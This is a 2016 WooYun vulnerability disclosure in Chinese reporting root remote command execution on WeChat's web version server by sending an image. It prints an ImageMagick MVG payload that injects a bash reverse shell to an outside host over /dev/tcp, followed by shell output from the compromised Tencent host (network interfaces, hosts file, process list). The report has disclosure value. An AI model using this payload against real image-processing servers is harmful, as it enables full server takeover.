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缺陷编号：wooyun-2016-0205514

漏洞标题：微信网页版服务器存在远程命令执行漏洞

相关厂商：腾讯

漏洞作者： 猪猪侠

提交时间：2016-05-05 22:47

修复时间：2016-06-24 10:30

公开时间：2016-06-24 10:30

漏洞类型：命令执行

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-05-05： 细节已通知厂商并且等待厂商处理中
2016-05-10： 厂商已经确认，细节仅向厂商公开
2016-05-20： 细节向核心白帽子及相关领域专家公开
2016-05-30： 细节向普通白帽子公开
2016-06-09： 细节向实习白帽子公开
2016-06-24： 细节向公众公开

简要描述：

微信网页版服务器存在远程命令执行漏洞，root权限，呵呵

详细说明：

#1 存在漏洞服务器地址
https://wx2.qq.com/
#2 与自己聊天发送一个图片

wx.png


#3 payload

push graphic-context 
viewbox 0 0 640 480 
fill 'url(https://"|/bin/bash -i >& /dev/tcp/*.*.*.*/8080 0>&1")'
pop graphic-context

漏洞证明：

#4 获得一个远程SHELL

[email protected].*.*:~# /sbin/ifconfig -a
eth0      Link encap:Ethernet  HWaddr *.**.**.*
          inet addr:223.167.*.*  Bcast:223.167.*.*  Mask:255.255.255.128
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:207675290974 errors:0 dropped:0 overruns:0 frame:0
          TX packets:381824340869 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:64553957542020 (61563451.3 Mb)  TX bytes:484719339307282 (462264384.5 Mb)
eth1      Link encap:Ethernet  HWaddr *.**.**.**.*
          inet addr:10.54.*.*  Bcast:10.54.*.*  Mask:255.255.255.192
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:79387181028 errors:0 dropped:0 overruns:0 frame:0
          TX packets:233634377039 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:604955868080734 (576930873.9 Mb)  TX bytes:262973934281267 (250791487.0 Mb)
ip6tnl0   Link encap:UNSPEC  HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00  
          NOARP  MTU:1460  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:0 (0.0 b)  TX bytes:0 (0.0 b)
lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:532406147 errors:0 dropped:0 overruns:0 frame:0
          TX packets:532406147 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:14164026742798 (13507868.5 Mb)  TX bytes:14164026742798 (13507868.5 Mb)
sit0      Link encap:IPv6-in-IPv4  
          NOARP  MTU:1480  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:0 (0.0 b)  TX bytes:0 (0.0 b)
tunl0     Link encap:IPIP Tunnel  HWaddr   
          NOARP  MTU:1480  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:0 (0.0 b)  TX bytes:0 (0.0 b)
[email protected].*.*:~# cat /etc/hosts
#
# hosts         This file describes a number of hostname-to-address
#               mappings for the TCP/IP subsystem.  It is mostly
#               used at boot time, when no name servers are running.
#               On small systems, this file can be used instead of a
#               "named" name server.
# Syntax:
#    
# IP-Address  Full-Qualified-Hostname  Short-Hostname
#
127.0.0.1     Tencent64.site Tencent64 localhost
# special IPv6 addresses


root      4307     1  0 Apr08 ?        00:00:27 /usr/local/agenttools/agent/agent -c /usr/local/agenttools/agent/client.conf
root      4323     1  0 Apr08 ?        00:00:03 /usr/local/agenttools/agent/agentPlugInD
root      4341     1  0 Apr08 ?        01:37:02 /usr/local/agenttools/agent/base -d5 -c1 -m4 -s /usr/local/agenttools/agent/base.conf
root      4350     1  0 Apr08 ?        00:00:49 /usr/local/agenttools/agent/tcvmstat
root      4449     1  0 Apr08 ?        00:01:49 /usr/local/agenttools/agent/sysddd
root      6234     2  0 Jan18 ?        00:19:57 [flush-8:0]
root      6664     1  0 Jan20 ?        00:00:07 nws-watchdog
root      6665  6664  0 Jan20 ?        07:37:33 nws:http.so,worker_0-2
root      6692     2  0 Jan18 ?        00:04:48 [kjournald]
root      6693     2  0 Jan18 ?        00:05:46 [kjournald]
100       7321     1  0 Jan18 ?        00:00:05 /usr/bin/dbus-daemon --system
root      7341     1  0 Jan18 ?        00:00:01 /usr/sbin/hald --daemon=yes --retain-privileges
root      7682     1  0 15:37 ?        00:00:00 /bin/sh /usr/local/sa/agent/watchdog.sh
root      8028     1  0 15:37 ?        00:00:18 /usr/local/sa/agent/secu-tcs-agent
root      8036     1  0 Jan18 ?        00:00:00 /usr/local/sbin/sshd -f /etc/ssh2/sshd2_config.l
root      8045     1  0 Jan18 ?        00:00:00 /usr/local/sbin/sshd

修复方案：

# 补丁

版权声明：转载请注明来源 猪猪侠@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2016-05-10 10:29

厂商回复：

非常感谢您的报告，IM组件的问题，已经有白帽子在tsrc平台报告过，此问题我们已经第一时间紧急处理。感谢大家对腾讯业务安全的关注。如果您有任何疑问，欢迎反馈，

最新状态：

暂无